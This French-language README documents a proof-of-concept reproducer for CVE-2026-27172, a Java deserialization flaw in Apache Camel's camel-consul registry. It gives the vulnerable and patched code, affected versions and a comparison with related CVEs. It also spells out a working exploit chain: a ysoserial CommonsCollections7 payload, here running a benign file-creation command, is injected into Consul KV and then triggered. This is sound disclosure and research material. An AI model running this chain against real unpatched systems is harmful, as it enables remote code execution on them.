
Reproducteur pour CVE-2026-27172 : désérialisation Java de ConsulRegistry camel-consul d'Apache Camel (RCE)
Ce projet démontre une vulnérabilité de désérialisation Java dans le composant camel-consul d'Apache Camel (ConsulRegistry), référencée sous le nom CVE-2026-27172. Il s'agit du même type de problème que CVE-2024-22369, CVE-2024-23114 et CVE-2026-25747, et a été négligé lors de la correction initiale de ces CVE.
Advisory: https://camel.apache.org/security/CVE-2026-27172.html
| Propriété | Valeur |
|---|
| Composant | camel-consul |
| Classe affectée | org.apache.camel.component.consul.ConsulRegistry (ConsulRegistryUtils.deserialize) |
| Méthodes vulnérables | lookupByName(), lookupByNameAndType(), findByTypeWithName(), findByType() |
| CWE | CWE-502 : Désérialisation de données non fiables |
| Impact | Exécution de code à distance (RCE) |
| Versions affectées | De 3.0.0 avant 4.14.6, et de 4.15.0 avant 4.18.1 |
| Versions corrigées | 4.14.6, 4.18.1, 4.19.0 |
| JIRA | CAMEL-23029 |
ConsulRegistry utilise le magasin clé/valeur Consul comme registre Camel. Lorsqu'un bean est recherché par nom, la valeur stockée est décodée en Base64 et désérialisée avec un ObjectInputStream brut et, dans les versions affectées, aucun ObjectInputFilter :
// ConsulRegistry.lookupByName(...)
public Object lookupByName(String key) {
kvClient = consul.keyValueClient();
return kvClient.getValueAsString(key).map(result -> {
byte[] postDecodedValue = ConsulRegistryUtils.decodeBase64(result);
return ConsulRegistryUtils.deserialize(postDecodedValue); // no filter (affected)
}).orElse(null);
}
// ConsulRegistryUtils.deserialize(...) - affected version
static Object deserialize(byte[] bytes) {
try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes))) {
return in.readObject(); // NO FILTERING!
}
}
Tout objet stocké dans le magasin KV Consul sous une clé que Camel recherche ultérieurement est désérialisé. Un attaquant qui peut écrire dans ce chemin KV peut placer une charge utile de chaîne de gadgets qui s'exécute lors de la recherche dans le registre.
docker run -d --name consul -p 8500:8500 hashicorp/consul:1.17 agent -dev -client 0.0.0.0
mvn clean package -DskipTests
mvn spring-boot:run
curl http://localhost:8080/exploit/init
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar
# Linux (preuve bénigne : créer un fichier). Utilisez "open -a Calculator" sur macOS, "calc.exe" sur Windows.
java -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | base64 -w0 > payload.b64
ConsulRegistry stocke des objets sérialisés encodés en Base64, donc la charge utile est fournie en Base64.
curl -X POST http://localhost:8080/exploit/inject \
-H "Content-Type: text/plain" \
--data-binary @payload.b64
curl http://localhost:8080/exploit/trigger
lookupByName() lit la valeur KV, la décode en Base64 et la désérialise — exécutant ainsi la chaîne de gadgets.
ls -la /tmp/pwned
Si le fichier /tmp/pwned existe, l'exploit a réussi.
La vulnérabilité se déclenche chaque fois que le registre résout un bean :
.to("bean:..."), bean(...), .process("...") par nom appellent tous lookupByName().findByType() / lookupByNameAndType() parcourent les entrées KV et les désérialisent.commons-collections:3.2.1 (gadgets CommonsCollections1-7)| Aspect | Cassandra (CVE-2024-23114) | LevelDB (CVE-2026-25747) | Consul (CVE-2026-27172) |
|---|---|---|---|
| Magasin de sauvegarde | Table Cassandra | Fichier LevelDB | Magasin KV Consul |
| ObjectInputFilter (avant correction) | aucun | aucun | aucun |
| Correction | Liste blanche ObjectInputFilter | Liste blanche ObjectInputFilter | Liste blanche ObjectInputFilter |
| JIRA | CAMEL-20306 | CAMEL-22821 | CAMEL-23029 |
La correction (CAMEL-23029) ajoute un ObjectInputFilter configurable (par défaut java.**;org.apache.camel.**;!*) à ConsulRegistryUtils.deserialize, et expose une option deserializationFilter pour que les classes de confiance puissent être autorisées :
static Object deserialize(byte[] bytes, String deserializationFilter) {
try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes))) {
if (deserializationFilter != null) {
in.setObjectInputFilter(ObjectInputFilter.Config.createFilter(deserializationFilter));
}
return in.readObject();
}
}
En attendant la mise à jour vers une version corrigée :
CVE-2026-27172/
├── pom.xml # Configuration Maven (version affectée de camel-consul)
├── README.md # Ce fichier
└── src/main/
├── java/com/example/
│ ├── Application.java # Point d'entrée Spring Boot
│ ├── ConsulRegistryRoute.java # Route Camel (désactivée ; montre l'utilisation réelle)
│ └── ExploitController.java # Points de terminaison REST pour la PoC
└── resources/
└── application.properties
Ce reproducteur est fourni à des fins de recherche en sécurité et de tests autorisés uniquement, pour une vulnérabilité divulguée publiquement et corrigée. Ne l'utilisez pas contre des systèmes sans autorisation explicite.